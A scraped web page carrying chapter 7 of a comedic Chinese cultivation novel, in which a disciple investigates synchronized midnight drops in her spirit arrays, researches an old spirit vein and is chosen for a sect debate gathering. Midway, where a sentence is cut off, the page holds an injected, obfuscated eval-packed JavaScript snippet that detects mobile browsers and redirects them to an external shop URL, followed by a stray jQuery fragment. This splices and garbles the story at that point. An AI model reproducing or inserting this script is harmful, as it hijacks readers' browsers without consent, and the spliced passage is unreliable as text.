默认冷灰
24号文字
方正启体

7. 第 7 章

作者:心有灵彗本书字数:K更新时间:
    优化阵布置下去的头两天,一切都好,好得让人心里发毛。


    铁心干活麻利得像个被上了发条的陀螺,六个阵点选得也巧——药田东南西北四个角各一个,他炼器谷门口一个,林小膳屋后窗根底下还有一个,美其名曰“肥水不流外人田,先紧着自家炕头暖”。阵眼都嵌着指甲盖大小的下品水灵石,蓝汪汪的,像滴凝固的露水,也像廉价装饰品上的水钻。


    白天,林小膳拿着苏芷晴借的鉴微盘,在各个阵点间转悠,感觉自己像个抄水表的。指针稳稳地停在比环境背景高一截的位置,波动很小,乖巧得像被驯服的宠物。药田里的月光禾叶子似乎更挺括了些,叶脉在日光下泛着润泽的光,一副“爷被伺候得很舒坦”的模样。炼器谷门口那块,铁心拍着胸脯保证:“小师妹,你这阵法神了!我打铁时胳膊没那么容易酸了,好像有股小风儿一直托着锤子,省劲儿!以前抢三下就得歇口气,现在能抢五下!”


    他乐呵呵地拍着林小膳的肩膀,力道大得让她龇牙咧嘴:“小师妹,有你的!这蚊子腿,真啃出肉味儿了!赶明儿咱把满山头都摆上,让闲云峰的蚊子……啊不,灵气,肥得流油!”


    林小膳没他那么乐观。她记录了每个阵点不同时段的灵压数据,用炭笔在兽皮上画成简单的曲线图,横坐标时间,纵坐标灵压,线条走势比她的心情平稳多了。白天看起来确实平稳得像条死鱼。但她心里那根弦绷着,惦记着手机日志里那句“同步周期性场干扰”和“底层规则潮汐”——这两个词组合在一起,听起来就像“定时炸弹”的学术代号。


    潮汐,是有周期的。子时阴气最盛,是一天中灵气场波动最大的时刻之一,也是“炸弹”最可能被监测到的时候。


    所以第三天夜里,子时前后,她没睡。不是不想,是不敢。


    披着件打补丁的旧外袍,抱着鉴微盘,像个偷地雷的似的,蹲在自己屋后那个阵点旁边的草丛里。夜色浓得像化不开的墨汁,还掺了灰,只有阵基石上的水灵石泛着微弱的蓝光,像一只冷漠的、熬夜熬红了的独眼。远处有不知名的虫豸在草根底下短促地鸣叫,一声,停很久,又一声,节奏堪比实习生汇报工作——断断续续,充满试探。


    鉴微盘的指针在幽暗里发出几乎看不见的莹绿色微光,倔强地指着比白天稍低但还算稳定的数值,彰显着它作为精密仪器的尊严。


    子时正刻,远处宗门方向隐隐传来沉浑的钟声,穿透夜雾,嗡——一声,余韵很长,庄严得让人想跟着敲木鱼。


    就在钟声余韵将散未散、林小膳蹲得腿开始发麻的那一瞬,鉴微盘的指针,猛地向下一沉!


    不是那种环境波动应有的、犹抱琵琶半遮面的轻微颤动,是明确无误的、幅度接近三成的、干脆利落的下跌!指针像是被隐形的如来神掌往下摁了一把,带着一种“爷不装了”的决绝,顿在那里,微微发抖,仿佛在说:“吓死本指针了!”


    林小膳屏住呼吸,心脏在胸腔里撞得有点慌,像揣了只蹦迪的兔子。她脑子里瞬间闪过无数念头:仪器坏了?我眼花了?有鬼?还是……真来了?


    她等了几息,大气不敢出。指针没有立刻弹回,而是维持在那个下跌后的低位,持续了大概十次心跳的时间——别问她怎么数的,紧张的时候数心跳是本能。然后,才极其缓慢地、一点一点地往上爬,用了将近半柱香,才勉强回到下跌前的水平,但依旧带着不稳定的细微震颤,像个受了惊吓后强装镇定的社恐。


    整个过程,安静得诡异。只有夜风吹过草丛的沙沙声,和她自己放得很轻的、生怕惊扰了“那位”的呼吸。


    这绝不是偶然!林小膳几乎是弹跳起来,也顾不上腿麻,拿着鉴微盘,化身午夜狂奔的田径选手,深一脚浅一脚冲向最近的一个药田阵点。露水打湿了裤脚,冰凉的贴在皮肤上,她也顾不上了,心里只有一个念头:快!验证!


    药田边的阵点,水灵石的光在夜色里幽幽亮着,像另一个沉默的见证者。她把鉴微盘凑近——指针位置,和她屋后那个几乎一模一样!也是经历了“跳水—躺平—艰难爬起”的三部曲。波动曲线,像是一个蹩脚画家临摹的作品,形似且神似。


    她一连跑了四个阵点。全部一样!误差小到可以忽略不计。


    六个分散在不同位置、彼此没有物理连接、连刻石头的人(铁心)当时心情可能都不一样的阵法,在子时正刻,灵压输出同步下跌,跌幅相近,恢复节奏也近乎一致,默契得像训练有素的广场舞团队。


    这绝不可能是偶然的环境波动。环境波动是随机的、局部的、各有各的脾气的,不可能让六个点跳出如此整齐划一的“机械舞”。


    像是有一只看不见的、极其严谨的导演,在同一时间,对六个演员喊了:“表情收!悲苦!好,停十秒,慢慢恢复,注意情绪层次!”


    林小膳站在药田边,夜风卷着湿气和泥土味扑在脸上,有点凉,但浇不灭她心头那股窜起来的火苗。她手里鉴微盘的微光映亮她半张脸,眼睛在暗处睁得很大,里面没有恐惧,只有一种冰冷的、近乎亢奋的专注,像赌徒看到了绝妙的牌局,又像程序员发现了惊天Bug。


    同步。周期性。场干扰。


    手机日志的警告在她脑子里立体声循环播放。这就是它检测到的“复合型外部能量场结构”在刷存在感?是她的优化阵,无意间成了某个更大、更懒的系统的“敏感肌测试纸”或“共振铃铛”?


    她想起陆谨行说的“不均匀场”和“适应当下”。现在的情况是,她的阵法不仅适应了环境,还可能……被环境更深层、更霸道的某种周期性规律“绑架”了,成了它的“人体节拍器”。


    这是问题,大问题。但也是机会,天大的机会!如果能弄明白这个同步波动的机制,反向推导,说不定就能窥见那个“底层规则潮汐”的裙角!这可比单纯改良聚灵阵刺激多了!


    但首先,她需要更多数据。需要排除其他可能性,比如是不是铁心刻石头时打了个一样的喷嚏导致的结构性缺陷?需要对照,需要控制变量,需要……熬夜。


    她连夜在兽皮上画出新的实验计划,标题用力写下:《关于优化阵子时同步异常波动的初步调查与归因分析(第一版)》。下面列了一二三:对照组(上标准阵!)、不同属性灵石影响测试、阵法微调抗性测试……


    工程量不小。而且,她需要帮手,需要劳动力,需要……背锅侠(不是)。至少需要铁心帮她刻更多的阵基石(大师兄,再爱我一次!),需要苏芷晴也许能提供更精密的测量建议和毒舌评审(二师姐,请用数据鞭挞我!),甚至……可能需要阵痴帮忙分析这种“场耦合”现象(三师兄,说人话,求你了!)。


    天快亮时,她才拖着仿佛被掏空的身体回到屋里,脑子里塞满了数据和猜想,像跑满了代码的终端,反而把那股疲惫压下去不少。刚把鉴微盘和记录收好,准备躺下眯一会儿,就听见外面传来一阵清越的鹤唳,由远及近,穿透晨雾,自带“贵客来访”BGM。


    不是闲云峰常有的声音。闲云峰的常驻飞禽主要是灰扑扑的、肥得像球的山雀,以及偶尔路过的、眼神不太聪明的傻狍子(如果算飞禽的话)。


    她推开窗。晨雾尚未散尽,一只羽翼洁白的仙鹤正优雅收翅,降落在她屋前那片被铁心踩得有点秃的小空地上,鹤腿修长,姿态高傲,一看就是丹霞峰那种“精英部门”出来的坐骑。鹤背上跳下来一个人。


    是个穿着丹霞峰淡粉色衣裙的女弟子,年纪不大,脸蛋圆圆,手里捧着一个做工精致、还雕了花的木匣。她左右张望了一下,看到窗后顶着黑眼圈、头发乱糟糟的林小膳,眼睛一亮,快步走过来,眼神里好奇多于恭敬。


    “可是闲云峰林小膳林师姐?”女弟子声音清脆,像刚上市的嫩黄瓜。


    “我是。”林小膳推开屋门,下意识理了理睡歪的衣领,感觉自己在对方面前像刚从难民窟爬出来的。


    “奉孙长老之命,给林师姐送请柬和此物。”女弟子将木匣递上,动作标准得像礼仪小姐,“孙长老说,雾灵花已无大碍,多亏师姐援手。藏书阁之约随时有效,凭此信物可入。”她指了指木匣,“另外……”


    她顿了顿,脸上露出点羡慕又困惑的复杂神色,像看到了学霸同时收到了哈佛和蓝翔的录取通知书:“青云宗百年一度的‘百艺论道会’重启,各峰需选派弟子参与。孙长老说,他已与闲云峰云逸真人通过气,推举林师姐代表闲云峰一脉出战。这是论道会的初步章程和信物。”


    林小膳接过木匣。匣子不重,但手感扎实,打开,里面是两样东西:一枚半个巴掌大的白玉牌,正面刻着“百艺”二字,背后是云纹环绕的“青云”标记,做工考究,能拿去当铺当点钱的样子;还有一卷淡青色的玉简,表面流光溢彩,一看就比兽皮高级。


    她拿起玉简,学着苏芷晴的样子,贴在额头——这是修仙界常见的读取方式,她第一次用,有点担心会不会被信息流冲成傻子。一丝微凉的气息渗入眉心,大量的信息像开闸洪水般流淌进来,带着孙长老特有的、洪亮嗓音的脑内回声:


    百艺论道会。青云宗传统盛事,因百年前一场宗门动荡(疑似食堂集体食物中毒事件,但玉简语焉不详)中断,如今重启。旨在“切磋技艺,互通有无,彰百家之长,促道法精进”。涉及炼丹、炼器、阵法、符箓、灵植、驭兽、星象推演等数十个门类,堪称修仙界全工种技能大比武。各峰可依据自身特长(或脸皮厚度),选派弟子参加不同项目的比试与交流。最终依据综合表现,评定名次,授予奖励(法宝、丹药、灵石、优先择徒权等),并影响未来百年各峰的资源配给与话语权。简而言之,修仙界版综合性技能大赛+学术交流大会+资源分配争夺战+各峰“面子工程”汇报演出。


    而她,林小膳,一个入门没多久、修为垫底、还在为聚灵阵子时波动头秃的外门弟子,被点名代表闲云峰出战。


    林小膳放下玉简,感觉太阳穴有点胀,不是信息冲击的,是头疼的。论道会……听起来就很麻烦,很正式,很“社死”高发。要准备展示,可能要现场比试(当众处刑?),还会有一堆不认识的人盯着(评委和观众)。她只想安安静静搞点研究,解决优化阵的同步波动问题,顺便琢磨阵痴那个压力流量模型,当个快乐的修仙宅女。


    “孙长老还说,”女弟子看她一脸“我是谁我在哪”的茫然,好心补充道,语气模仿着孙长老的调调,“论道会虽重比试,但更重‘论道’与‘展示’。闲云峰一脉……呃,特立独行,若能在此会上展现独到见解,于宗门亦是好事。请林师姐不必过于拘泥胜负,尽展所能即可。”她说完,似乎觉得自己完美传达了领导精神,行了一礼,召来仙鹤,翩然而去,留下淡淡的鹤羽清香和一脸懵的林小膳。


    不必拘泥胜负?尽展所能?这话听着像是领导对下属说“放开手脚干,输了算我的”,但结合闲云峰在宗门里“佛系边缘小透明”的定位,又像是……提前打好的“重在参与”安慰剂?孙长老推她出去,或许是真觉得她有点歪才,或许也是想看看闲云峰这“奇葩”山头能折腾出什么新花样,顺便还个人情,再顺便……给论道会增加点娱乐性?


    不管怎样,这口锅,不,这个“光荣任务”,是结结实实扣她头上了。


    她把木匣拿回屋,“哐当”扔在桌上,和那些记录优化阵波动的、沾着露水和泥土的兽皮堆在一起。白玉牌和玉简在旁边,散发着“正事”、“责任”和“麻烦”的混合型微妙压力,像两个穿着正装闯入实验室的教务主任。


    她盯着它们看了几秒,眼神挣扎,然后伸出沾着炭灰的手,果断把玉简推到桌角,把记录波动的兽皮摊开,用镇纸(一块长得像板砖的石头)压好。


    论道会还有段时间(玉简上说在下个月)。同步波动是眼前的问题,而且可能牵扯到更根本、更有趣(也更要命)的东西。


    她需要先搞定这个。毕竟,实验狗的优先级里,deadline(论道会)永远排在discovery(新发现)后面。


    ***


    铁心听说要刻更多阵基石,还是不同属性的,眼睛都没眨一下,撸起袖子就开干。“小师妹你又琢磨出新点子了?好事儿!刻石头我在行,要多少有多少!就是这火属性灵石刻起来有点烫手,我得先找副手套……”他光着膀子在炼器谷里忙活,汗珠顺着古铜色的肌□□壑往下淌,滴在烧红的铁砧上,刺啦一声冒起白烟,空气里弥漫着汗味、铁腥味和淡淡的焦糊味,充满了劳动人民(炼器民工)的朴实气息。


    苏芷晴对同步波动的现象表现出了科研人员应有的、克制的兴趣。她拿着林小膳那写得跟鬼画符似的记录,看了很久,眉头微蹙,指尖无意识地在桌面上敲击,像在解码。“六点完全同步,误差小于百分之一……”她抬起眼,镜片(她自己用水晶磨的)后的目光锐利,“这不寻常。不符合《基础阵法波动学》第三章关于局部灵力扰动的扩散模型。即便是大型复合阵法内部的子阵,因灵力流转延迟和路径差异,响应也会有毫厘之差。如此精确同步,更像……共鸣,或者说,被同一个更强的节拍器强行同步了。”


    她顿了顿,补充道:“你的阵法结构,可能恰好与某个持续存在的、大范围的周期性扰动源,形成了稳定共振。这个扰动源,或许与地脉阴气潮汐有关,但通常影响不会如此规整和强烈,更像背景噪音。你这个……是有人拿大喇叭在背景噪音里放《最炫民族风》。”


    她借给林小膳一个更高级的“录波玉符”,巴掌大,表面光滑如镜,可以连续记录十二个时辰的灵压变化波形,并自动生成灵光图谱,比鉴微盘的瞬时读数高级了不止一个档次,操作界面复杂得让林小膳想起了前世某品牌相机的专业模式。“小心使用,别摔,别沾水,别用灵力猛冲,录入数据前先校准环境本底值,用完记得用灵泉水擦拭并放回原装玉盒。”苏芷晴交代注意事项时,语气严肃得像在移交国家机密文件。


    至于阵痴……林小膳把记录了波动波形(用简易炭笔和自制定点标尺手绘的,丑但数据准)的兽皮,连同她自己的疑问和假设,塞进了他门缝。塞的时候心里默念:三师兄,给点力,别又扔块我看不懂的天书回来。


    第二天,门缝下果然滑出新的石板。这次的阵图更加复杂,层层叠叠像是某种分形结构或者神经网络的示意图,看久了让人头晕。旁边指甲刻字,比上次工整了点,但依旧言简意赅到伤人:“初步推测:汝之简化阵,因其纹路平滑、节点稀少、内部阻尼极低,对外部场变动的‘响应频率’过于敏感,易与特定周期扰动耦合。此为其优点(响应快,堪比膝跳反射),亦为其缺点(易受干扰,宛如惊弓之鸟)。欲解此弊,或可于关键节点引入‘微滞环’(结构图示如下,原理自悟),牺牲部分响应速度,换取抗干扰能力,如同给兔子腿上绑沙袋。另,汝所绘波动波形,与《古阵残篇·地煞摄灵篇》中所述‘子午潮煞’引发之阵基震颤有七成相似,然幅度与规整度远超。存疑。建议对照阅读《地气枢要》。”


    林小膳捧着石板,盯着那“微滞环”的结构和“子午潮煞”四个字,心脏像被那“微滞环”弹了一下,砰砰跳。阵痴不仅一针见血指出了问题可能的原因(低阻尼系统易共振,像个敏感的黛玉),给出了一个工程解决方案(增加阻尼,即“微滞环”,给黛玉穿秋裤),还提供了文献线索!甚至精准推荐了《地气枢要》——这和陆谨行之前推荐的一样!这两位学术大佬在文献品味上居然有交集?


    子午潮煞?听起来就像是地府KTV的午夜专场,不是什么好东西。但为什么她的优化阵会对这个特别敏感?而且,为什么标准阵不明显?因为标准阵穿了“秋裤”(结构复杂阻尼高),而她的优化阵是“光腿”(结构简单阻尼低)?


    她需要验证。验证需要更多阵法样本,需要对照,需要在子时实地测量,需要……熬夜加倍。


    接下来几天,她像只被上了发条的忙碌土拨鼠,在闲云峰各处打洞(布阵)。铁心化身无情刻石机器,吭哧吭哧刻了二十多个阵基石,各种版本:优化阵原版(光腿版)、优化阵加“微滞环”版(秋裤版)、标准阵小型版(棉裤版)。阵眼灵石也分成了水、火、土三种属性,五颜六色,摆在一起像劣质糖果。


    布置点选了七个,包括原来的六个点,外加一个更靠近后山、据说地脉阴气更重些的偏僻角落,那里杂草丛生,偶尔能看到小动物(疑似)的粪便,铁心管那儿叫“后山VIP阴气包厢”。


    苏芷晴的录波玉符只有三个,不够七个点分。她只好用笨办法,子时前后,自己带着鉴微盘,骑着铁心给她友情赞助的、加了简易减震符文(效果约等于没有)的旧扫帚(“凑合用,比走路快!就是有点硌屁股,方向也不好控制!”),在各个测试点之间玩命狂奔,记录关键时刻的灵压读数,感觉自己像个修仙版外卖骑手,送的餐是“数据”,客户是“真相”。


    这活儿不仅累人,还有点傻。夜里山风冷得像刀子,露水重得能拧出水,她身体还没完全好透,跑几趟就喘得像风箱,喉咙里泛着铁锈味,头发被扫帚枝丫勾得乱如鸟窝。但看着兽皮上逐渐累积的数据点,连成一条条有规律的曲线,那种一点点揭开谜团、像拼图找到关键一块的感觉,又让她像打了鸡血,停不下来。这大概就是科研狗的斯德哥尔摩综合征。


    初步结果出来了,她用炭笔在兽皮上画了个简陋的对比表格:


    1.  **标准阵(棉裤版)**:在子时也有波动,但幅度小很多(约半成),且不同阵点波动不完全同步,有细微时间差和幅度差异,像一群勉强跟上节奏的广场舞新手。


    2.  **优化阵原版(光腿版)**:同步暴跌现象稳定复现,像听到下课铃同时冲向食堂的学生。无论阵眼是水、火、土哪种属性,暴跌幅度和节奏几乎一致。属性影响只体现在日常输出水平(火属性白天更活跃)和恢复速度上,不影响那个“同步下跌”本身。


    3.  **优化阵加“微滞环”版(秋裤版)**:同步暴跌幅度显著减小(降至一成左右),但并未完全消除。而且,“微滞环”的引入,使得阵法白天稳定输出时的灵压也略有下降,响应启动速度变慢——正如阵痴所料,用性能(速度)换取了部分稳定性(抗冻),属于典型的“鱼与熊掌”工程学问题。


    数据指向一个清晰的结论:优化阵的结构特性,使其成为了一个极其敏感的“探头”或“天线”,精准地捕捉到了某个在子时定期出现的、影响范围覆盖整个闲云峰(甚至可能更广)的强周期性扰动。这个扰动,很可能就是阵痴和文献提到的“子午潮煞”。标准阵因为结构复杂、内部阻尼高(穿得厚),对这个扰动不敏感(听不见)。而她的优化阵,因为太“干净”、太“高效”(光腿),反而把这个隐藏的波动放大了,听得清清楚楚,甚至跟着一起“抖”了起来。


    那么,这个“子午潮煞”到底是什么?为什么闲云峰会有这么强、这么规整的影响?是地下埋了台巨型振动棒,还是住了个作息规律的幽灵DJ?


    她需要查资料。去藏书阁。正好,孙长老给了她这把“钥匙”。


    ***


    丹霞峰的藏书阁比闲云峰那个兼职仓库的小书库气派多了,简直像星级酒店对比路边招待所。是一座七层木塔,飞檐斗拱,雕梁画栋,掩映在片片霞光般的花树之间,空气里弥漫着淡淡的、各种药草混合的清香,以及旧纸张、灵墨和……防腐剂(?)特有的味道,充满了知识的“昂贵”气息。


    接待她的是一位面容和善、但眼睛像扫描仪一样打量人的中年执事,看过她的身份玉牌和孙长老的手令(一块刻着丹霞峰标记的小木牌)后,脸上立刻堆起职业化的微笑:“孙长老交代了,林小友可在一至三层随意阅览,四层以上需长老手谕或特殊许可。若有需查询的具体典籍,也可告知我等,会尽量协助。”


    林小膳道了谢,目标明确,直接冲向阵法分类的区域。书架高耸,玉简、书册、兽皮卷分门别类,标注清晰,让她这个前世习惯了电子检索的人有点眼花缭乱,但更多的是兴奋——这就是知识的海洋啊,虽然可能是文言文的海洋。


    她先找《古阵残篇》。在“阵法古籍·残损”区域一个落满灰尘的角落,翻找了半天,才从一堆看起来像是被老鼠啃过、被水泡过的破烂里,找到几片残缺的玉简,其中一片果然有《地煞摄灵篇》的只言片语。神识探入,信息断断续续,提到:“地煞”乃地脉阴浊之气,随日月运转、地脉变动而涨落,子午二时为盛。某些特定结构的聚灵阵法,若布设在煞气汇聚或流转节点上,可能被煞气潮汐干扰,产生“阵基自鸣,灵光晦暗”的现象,严重者可损阵基、耗灵石,建议布阵前先“望气”、“勘地”。


    描述很像她观测到的现象,但语气轻描淡写,远没有她观测到的那么规整和强烈。而且,闲云峰在宗门记载里并非什么地煞汇聚的凶地,只是普通(甚至有点贫瘠)的灵山,风水评分大概也就刚及格。


    她不死心,又像只搜寻松果的松鼠,在书架间穿梭,翻找关于地脉、灵气潮汐、周期性扰动、阵法共振等方面的典籍。大部分记载都模糊笼统,充满“感悟天地律动”、“顺应自然”、“玄之又玄”的套话,很少有定量描述或机制分析,看得她直皱眉头,心里吐槽:这修仙界的论文,综述部分写得跟散文似的,实验数据呢?数学模型呢?


    倒是在一本《青云地理志略·山峰卷》里,关于闲云峰的一小段记载,引起了她的注意:“……峰下有古灵脉一支,曾为宗门初立时辅脉之一,于三千七百年前因未知缘由枯竭。然脉理犹存,偶有地气回涌,其性微寒,子夜时分尤著,然无害,仅作山间一景耳。”


    古灵脉?枯竭了,但“脉理”还在,还会“地气回涌”?回涌的地气“微寒”,子夜明显……还“无害,仅作一景”?


    这“微寒地气”,会不会就是强化版的“子午潮煞”?因为源自古灵脉(哪怕是枯竭的),所以影响更规整、更强烈?就像一条废弃的铁路,偶尔还有幽灵列车按旧时刻表跑一趟?而她的优化阵,恰好对这股残留的、周期性的“幽灵列车震动”特别敏感?


    线索似乎连上了!但还需要证实。需要测量地气成分和压力,需要确认回涌的规律、范围和强度,需要……把那辆“幽灵列车”的运行图扒出来。


    她在藏书阁泡了大半天,抄录了十几页可能有用的资料,手腕都酸了。脑子里那个关于“同步波动”的模型渐渐丰满起来,从一个模糊的猜测,变成了有待验证的假说。但也带来了更多疑问:这古灵脉为什么枯竭?为什么还有周期性回涌?这回涌除了干扰阵法,对修炼呢?对药田呢?对住在上面的人呢?长期暴露在这种周期性“微寒地气”里,会不会导致风湿或者老寒腿?


    抱着厚厚一叠手稿从藏书阁出来时,日头已经西斜。丹霞峰的晚霞果然名不虚传,大片大片的金红、橙黄、绛紫晕染在天边,华丽得像宫廷剧的片头,映得人脸上也暖烘烘的,驱散了在古籍堆里沾染的阴寒霉气。


    刚走出藏书阁不远,就在一条栽满雾灵花(如今开得正好)的小径上,碰见了熟人。


    陆谨行。


    他正和一个穿着丹霞峰长老服饰、面色红润得像刚喝完补汤的老者站在一丛开得正盛的雾灵花前,似乎正在讨论什么。老者手指点着花瓣,唾沫横飞地说着什么“花期调控需配合月相”、“灵力疏导切忌过猛”。陆谨行侧耳听着,偶尔点头,目光落在那些流转着淡紫色光晕的花瓣上,专注而平静,侧脸在霞光里勾勒出清冷的线条,但不知是不是霞光太暖,显得他今日没那么“人形戒律”。


    林小膳想假装没看见,低头,抱紧手稿,准备施展“潜行”技能溜过去。


    “林小友?”那红面老者却眼尖得像装了雷达,先喊了出来,声音洪亮,中气十足,“哈哈,正说到你给这雾灵花开的方子呢!‘疏堵结合,以导代压’,妙啊!这就碰上了,巧啊!看来这花跟你也有缘!”


    是孙长老。


    林小膳只好停下,转身,抱着手稿像个被老师逮到的学生,走过去行礼:“孙长老。陆师兄。”目光飞快地瞟了一眼陆谨行。


    陆谨行也正看着她。他今日没穿那身深青色的标准弟子服,而是一袭质地柔软的月白色常服,袖口和衣襟有简洁的银色暗纹,腰间挂着那枚从不离身的小储物袋和几枚玉符,衬得他身姿挺拔,在绚烂的霞光里,少了些平日的冷硬和疏离,多了点……人间烟火的柔和?大概是晚霞滤镜太厚产生的错觉。


    “林师妹。”他微微颔首,算是打过招呼,目光在她怀里那摞明显是抄录的手稿上停留了一瞬。


    “林小友从藏书阁出来?”孙长老捋着胡子,笑眯眯地打量她,又看看她怀里,“哟,看来收获不小啊。对阵法也有兴趣?闲云峰真是……人才辈出,路子清奇啊。云逸那老家伙,尽收些怪才。”话是这么说,语气里却没什么贬义,反倒有点乐见其成的味道,像发现了一种新奇的盆栽。


    “随便看看,查点资料。”林小膳含糊道,感觉手里的手稿有点烫手。


    “看看好,看看好。博采众长嘛。”孙长老笑道,红光满面的脸上写满了“我看好你”,“对了,论道会的章程看了吧?可有初步想法?需要什么材料、场地协助,尽管跟执事堂提,或者直接来找老夫。闲云峰就你一个代表,压力是不小,但也自由,想展示什么就展示什么,不必受那些条条框框、陈规陋习束缚太多,搞点新意思出来!”他大手一挥,颇有些“天塌下来老夫顶着”的豪气。


    这话说得相当直白且支持了,几乎是在鼓励她“搞事”。林小膳再次真心道谢。


    孙长老又兴致勃勃地聊了几句雾灵花后续养护的细节(“土要松,水要透,灵气要润,不能冲!”),然后摆摆手:“行了,你们年轻人聊吧,老夫还得去盯着丹炉,有一炉‘养颜丹’快到火候了,可不能炼成‘毁容丹’。”说完,背着手,哼着荒腔走板的小曲,迈着八字步走了,留下淡淡的丹药清香。


    小径上只剩下林小膳和陆谨行。霞光透过雾灵花树的缝隙,在地上投出斑驳晃动的、紫色的光斑。花香甜丝丝的,混合着丹霞峰常年不散的、淡淡的药火气和尘土味。气氛……有点安静得尴尬。


    “陆师兄也在查资料?”林小膳没话找话,试图打破沉默。


    “奉师命,与孙长老核对一些新修订的《宗门灵植养护通用规范》细则。”陆谨行回答,语气一如既往的平稳客观,像在宣读文件。他目光再次落在林小膳怀里的手稿最上面一页露出的标题字迹上,顿了顿,“师妹在查‘子午潮煞’与地脉回涌?”


    林小膳心里咯噔一下。他怎么知道?她抄录的资料里确实有这些词,但卷着,他应该看不到标题。除非……他神识扫了一下?或者,单纯从她查阅的区域推断?


    “随便……看到,记下来。有点好奇。”她含糊道,抱紧了手稿。


    陆谨行看了她一眼,那眼神平静无波,像深潭的水,却让她有种被X光轻微扫描了一下的感觉。“‘子午潮煞’通常指地脉阴气随日月更迭产生的周期性涨落,对低阶阵法与阴属性灵材有一定影响,但程度有限,多记载于古籍。师妹若有兴趣,可参阅《地气枢要》第三章,其中论及地气扰动与阵法稳定的关联,较《古阵残篇》更为系统,亦有少量实测数据支撑。”他顿了顿,补充道,“此书在阵法区乙字柜第七排。”


    他居然直接给出了更精准的参考文献和具体位置!这业务能力,这记忆力,堪称人形图书馆检索系统。


    “……谢谢陆师兄。”林小膳这次道谢有点真心实意。这人虽然古板得像块石碑,但专业素养确实过硬,而且不藏私,指路精准,属于那种会让你挂科但也会把考点划得清清楚楚的严厉老师。


    “不必。”陆谨行移开目光,看向小径深处被霞光染红的、层叠的飞檐和逐渐亮起的零星灯火,“听闻师妹将代表闲云峰参与百艺论道会。”


    “孙长老抬爱,晚辈惶恐。”林小膳搬出标准客气话。


    “论道会重交流切磋,亦重实证与逻辑。”陆谨行声音平缓,像在陈述一个客观事实,但每个字都带着分量,“新颖思路与奇巧技艺固然引人注目,然若能辅以扎实数据、清晰逻辑推演、及他人可重复验证之法,则更具说服力,亦更能经得起质疑。”


    他这是在……提醒她?用“学术论文答辩”和“同行评议”的标准去准备论道会的“展示”?告诉她光有想法不够,还得有证据链,能禁得起杠精(其他峰弟子)的拷问?


    林小膳抬眼看他。陆谨行侧脸被霞光勾勒出清晰的轮廓,鼻梁挺直,下颌线绷着,依旧是那副不苟言笑、严谨到刻板的样子。但他说的每个字,都切中了她潜意识里的准备方向——她确实在打算用实验数据、对照分析、模型推演那一套“科学方法论”,去“展示”和“论证”她的“优化思路”甚至


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116865|195922||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “同步波动”发现。只是还没想好尺度,怕太另类。


    “我……明白。会注意的。”她说,心里那点模糊的计划,似乎清晰了一点。


    陆谨行几不可察地点了点头,没再说什么。两人又站了几息,只有晚风拂过花叶的细微声响,和远处隐约的丹鼎嗡鸣。气氛再次陷入那种微妙的、介于熟与不熟之间的安静。


    “若无他事,师妹请自便。”陆谨行率先开口,依旧是礼貌而疏离的告辞,月白色的衣袖拂过身旁的花枝,带落几片花瓣。


    “陆师兄慢走。”


    陆谨行转身,衣角划过一道干净利落的弧度,沿着小径另一头,步履平稳地离开了。身影渐渐融进绚烂的霞光和深沉的暮色里,像一滴墨汇入暖色调的画卷,有种奇异的和谐。


    林小膳站在原地,怀里手稿的纸张边缘被风吹得轻轻翻动,发出哗啦的轻响。她看着陆谨行消失的方向,心里那点因为同步波动未解、论道会压力带来的焦躁和紧绷,莫名其妙地平复了一些,像被那平静的语气和精准的建议熨烫了一下。


    这个人,像一块冰冷的、棱角分明的界碑,或者一本厚重严谨的典籍,标定着这个世界固有的规则、逻辑和标准。靠近了会觉得硌得慌,有压力,但远远看着,或者偶尔得到他一句指向明确的提示,却又莫名让人觉得……稳定,可靠。知道边界在哪里,知道有些东西是牢固的、有迹可循的。在这个光怪陆离、充满未知的修仙世界,这种“稳定感”本身,就有点珍贵。


    她摇摇头,甩开这些突然文艺起来的思绪,抱紧手稿,也沿着来路往回走。心里那根弦却绷得更紧了:还有很多事要做!分析新资料,设计验证古灵脉回涌的实验方案(怎么测地气?),优化阵的“秋裤版”还得继续改进,论道会的展示方案也得开始打腹稿了……时间管理大师也扛不住啊!


    回到闲云峰时,天已经黑透了,星子稀稀拉拉地亮起来。她点起油灯,把今天抄录的资料和之前的实验记录铺了满桌。灯光昏黄,跳跃着,映着密密麻麻的字迹、潦草的图表和炭笔草图,像个凌乱但充满生机的作战指挥部。


    同步波动的根源,假说指向古灵脉周期性回涌。这个回涌的强度、范围、具体时间点、成分……都需要实地测量。怎么测?她想到了阵痴那个“灵气压力与流量控制系统”模型。如果能做出一个简易的、能探测地脉灵气压力或流量微小变化的被动式传感器阵纹,埋在地下或者放在特定点位……


    思路一旦打开,就像拧开了水龙头。她抓起炭笔,在新的兽皮上开始勾画草图。不再是简单的聚灵或放大型阵纹,而是尝试将阵痴模型中的“璇玑”(调节阀)和“回流缓冲池”概念极度简化,逆向运用,设计成一个能够感应特定方向(比如垂直向下)灵气压力梯度或流量变化的“探针”阵纹。画到关键连接处,她停笔,咬着笔杆皱眉思考,完全沉浸其中。


    画到一半,她停笔,揉了揉发涩发胀的眼睛,感觉眼皮在打架。一抬头,看见窗台上静静放着的那块优化阵原版(光腿版)基石。水灵石在黑暗里幽幽发着蓝光,像个沉默的计时器。


    子时又快到了。


    她放下炭笔,叹了口气,任命般地拿起鉴微盘和今天刚从一个测试点收回来的录波玉符(还剩两个能用),推门走出去,来到屋后阵点旁。夜风比前几日更凉了些,带着山间特有的清冽,吹得她打了个寒颤,睡意跑了一半。


    她蹲下身,把鉴微盘凑近阵基石,另一只手握紧录波玉符,注入一丝灵力激活记录,准备迎接又一次“例行跳水表演”。


    远处,子时钟声再次沉沉响起,穿透寂静的夜。


    嗡——


    鉴微盘的指针,如期下坠。


    但这一次,下坠的幅度……不对劲!非常不对劲!


